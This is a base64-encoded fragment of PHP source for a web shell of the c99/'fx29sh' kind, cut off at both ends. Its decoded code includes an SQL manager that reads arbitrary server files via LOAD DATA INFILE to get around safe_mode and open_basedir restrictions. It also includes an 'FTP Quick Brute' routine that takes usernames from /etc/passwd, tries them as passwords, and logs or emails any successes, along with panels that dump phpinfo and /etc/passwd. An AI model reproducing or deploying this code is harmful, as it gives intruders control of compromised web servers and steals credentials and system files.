b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5SZXBhaXIgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOw0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgIH0NCiAgICB9DQogICB9DQogICB9DQogIH0NCiAgZWxzZSB7DQogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7DQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKSB7Pz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyBEQjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0ibmV3ZGIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXdkYiIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPlZpZXcgRmlsZTo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0iZ2V0ZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0Ij48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocCB9DQogICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkgew0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld2RiIikgew0KICAgICBlY2hvICI8Yj4iOw0KICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQ0KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJ2YXJzIikgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInByb2Nlc3NlcyIpIHsNCiAgICAgaWYgKCFlbXB0eSgka2lsbCkpIHsNCiAgICAgICAkcXVlcnkgPSAiS0lMTCAiLiRraWxsLiI7IjsNCiAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOw0KICAgICAgIGVjaG8gIjxiPlByb2Nlc3MgIyIuJGtpbGwuIiB3YXMga2lsbGVkLjwvYj4iOw0KICAgICB9DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTIgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3RkPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRkPjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD48dGQ+PGI+Q09NTUFORDwvYj48L3RkPjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjwvdGQ+PHRkPjxiPklORk88L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48dGQ+Ii4kcm93WzJdLiI8L3RkPjx0ZD4iLiRyb3dbM10uIjwvdGQ+PHRkPiIuJHJvd1s0XS4iPC90ZD48dGQ+Ii4kcm93WzVdLiI8L3RkPjx0ZD4iLiRyb3dbNl0uIjwvdGQ+PHRkPiIuJHJvd1s3XS4iPC90ZD48dGQ+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXByb2Nlc3NlcyZraWxsPSIuJHJvd1swXS4iXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gImdldGZpbGUiKQ0KICAgIHsNCiAgICAgJHRtcGRiID0gJHNxbF9sb2dpbi4iX3RtcGRiIjsNCiAgICAgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOw0KICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9DQogICAgIGlmICgkc2VsZWN0KQ0KICAgICB7DQogICAgICAkY3JlYXRlZCA9IEZBTFNFOw0KICAgICAgbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgdG1wX2ZpbGVgICggYFZpZXdpbmcgdGhlIGZpbGUgaW4gc2FmZV9tb2RlK29wZW5fYmFzZWRpcmAgTE9OR0JMT0IgTk9UIE5VTEwgKTsiKTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgSU5GSUxFIFwiIi5hZGRzbGFzaGVzKCRzcWxfZ2V0ZmlsZSkuIlwiIElOVE8gVEFCTEUgdG1wX2ZpbGUiKTsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gIjxiPkVycm9yIGluIHJlYWRpbmcgZmlsZSAocGVybWlzaW9uIGRlbmllZCkhPC9iPiI7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fQ0KICAgICAgICRmID0gIiI7DQogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQ0KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCI6PC9iPjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fQ0KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOw0KICAgICAgfQ0KICAgICB9DQogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgLy9jb21tZW50IGl0IGlmIHlvdSB3YW50IHRvIGxlYXZlIGRhdGFiYXNlDQogICAgfQ0KICAgfQ0KICB9DQp9DQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYgKCRzcWxfc29jaykgew0KICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOw0KICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9DQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzIDogIi4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOw0KfQ0KZWNobyAiPC90YWJsZT4iOw0KfQ0KLy9FbmQgb2YgU1FMIE1hbmFnZXINCmlmICgkYWN0ID09ICJmdHBxdWlja2JydXRlIikgew0KZWNobyAiPGNlbnRlcj48dGFibGU+PHRyPjx0ZCBjbGFzcz1iYXJoZWFkZXIgY29sc3Bhbj0yPiI7DQplY2hvICIuOiBGdHAgUXVpY2sgQnJ1dGUgOi48L3RkPjwvdHI+IjsNCmVjaG8gIjx0cj48dGQ+IjsNCmlmICgkd2luKSB7ZWNobyAiQ291bGRuJ3QgcnVuIG9uIFdpbmRvd3MhIjt9DQplbHNlIHsNCiAgZnVuY3Rpb24gYzk5ZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkgew0KICAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskVFJVRSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQ0KICAgIGVsc2UgeyRUUlVFID0gVFJVRTt9DQogICAgaWYgKCRUUlVFKSB7DQogICAgICAkc29jayA9IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7DQogICAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKSB7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsNCiAgICAgICAgb2JfZmx1c2goKTsNCiAgICAgICAgcmV0dXJuIFRSVUU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsNCiAgICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9DQogICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRmcWJfbG9nZ2luZykgew0KICAgICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30NCiAgICAgICAgZWxzZSB7JGZxYl9sb2dmcCA9IEZBTFNFO30NCiAgICAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlICgiLiRzaF9uYW1lLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICB9DQogICAgICBvYl9mbHVzaCgpOw0KICAgICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgICAkZnRwcXVpY2tfc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgIHdoaWxlKCFmZW9mKCRmcCkpIHsNCiAgICAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLGZnZXRzKCRmcCwyMDQ4KSk7DQogICAgICAgIGlmIChjOTlmdHBicnV0ZWNoZWNrKCJsb2NhbGhvc3QiLDIxLDEsJHN0clswXSwkc3RyWzBdLCRzdHJbNl0sJGZxYl9vbmx5d2l0aHNoKSkgew0KICAgICAgICAgIGVjaG8gIjxiPkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCI8L2I+PGJyPiI7DQogICAgICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7DQogICAgICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQ0KICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQ0KICAgICAgJGZ0cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kZnRwcXVpY2tfc3QsNCk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxicj5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIjxicj5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iPGJyPlN1Y2Nlc3MuOiA8Zm9udCBjb2xvcj1ncmVlbj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsNCiAgICAgICRmcWJfbG9nIC49ICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIlxyXG4iOw0KICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsIiIuJHNoX25hbWUuIiByZXBvcnQiLCRmcWJfbG9nKTt9DQogICAgICBmY2xvc2UoJGZxYl9sb2dmcCk7DQogICAgfQ0KICB9DQogIGVsc2Ugew0KICAgICRsb2dmaWxlID0gJHRtcGRpcl9sb2dzLiJmeDI5c2hfZnRwcXVpY2ticnV0ZV8iLmRhdGUoImQubS5ZX0hfaV9zIikuIi5sb2ciOw0KICAgICRsb2dmaWxlID0gc3RyX3JlcGxhY2UoIi8vIixESVJFQ1RPUllfU0VQQVJBVE9SLCRsb2dmaWxlKTsNCiAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJmdHBxdWlja2JydXRlXCI+Ii4NCiAgICAgICAgICJSZWFkIGZpcnN0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1cImZxYl9sZW5naHRcIiB2YWx1ZT1cIiIuJG5peHB3ZHBlcnBhZ2UuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfb25seXdpdGhzaFwiIHZhbHVlPVwiMVwiPiBVc2VycyBvbmx5IHdpdGggc2hlbGw8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPkxvZ2dpbmc8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPkxvZ2dpbmcgdG8gZmlsZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVcIiB2YWx1ZT1cIiIuJGxvZ2ZpbGUuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2ZpbGUpKzIqKHN0cmxlbigkbG9nZmlsZSkvMTApKS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5Mb2dnaW5nIHRvIGUtbWFpbDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkIGNvbHNwYW49Mj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJCcnV0ZVwiPjwvZm9ybT4iOw0KICB9DQogIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9DQp9DQppZiAoJGFjdCA9PSAiZCIpIHsNCmlmICghaXNfZGlyKCRkKSkgeyBlY2hvICI8Y2VudGVyPjxiPiRkIGlzIGEgbm90IGEgRGlyZWN0b3J5ITwvYj48L2NlbnRlcj4iOyB9DQplbHNlIHsNCiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7DQogIGlmICghJHdpbikgew0KICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOw0KICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsNCiAgfQ0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj48L2E+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZCkpLiI8L3RkPjwvdHI+PC90YWJsZT4iOw0KfQ0KfQ0KaWYgKCRhY3QgPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgYzk5c2hleGl0KCk7fQ0KaWYgKCRhY3QgPT0gInNlY3VyaXR5Iikgew0KICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj4uOiBTZXJ2ZXIgU2VjdXJpdHkgSW5mb3JtYXRpb24gOi48L2Rpdj4iLg0KICAgICAgICI8dGFibGU+Ii4NCiAgICAgICAiPHRyPjx0ZD5PcGVuIEJhc2UgRGlyPC90ZD48dGQ+Ii4kaG9wZW5iYXNlZGlyLiI8L3RkPjwvdHI+IjsNCiAgZWNobyAiPHRkPlBhc3N3b3JkIEZpbGU8L3RkPjx0ZD4iOw0KICBpZiAoISR3aW4pIHsNCiAgICBpZiAoJG5peHBhc3N3ZCkgew0KICAgICAgaWYgKCRuaXhwYXNzd2QgPT0gMSkgeyRuaXhwYXNzd2QgPSAwO30NCiAgICAgIGVjaG8gIipuaXggL2V0Yy9wYXNzd2Q6PGJyPiI7DQogICAgICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQ0KICAgICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfZSkpIHskbml4cHdkX2UgPSAkbml4cHdkcGVycGFnZTt9DQogICAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcD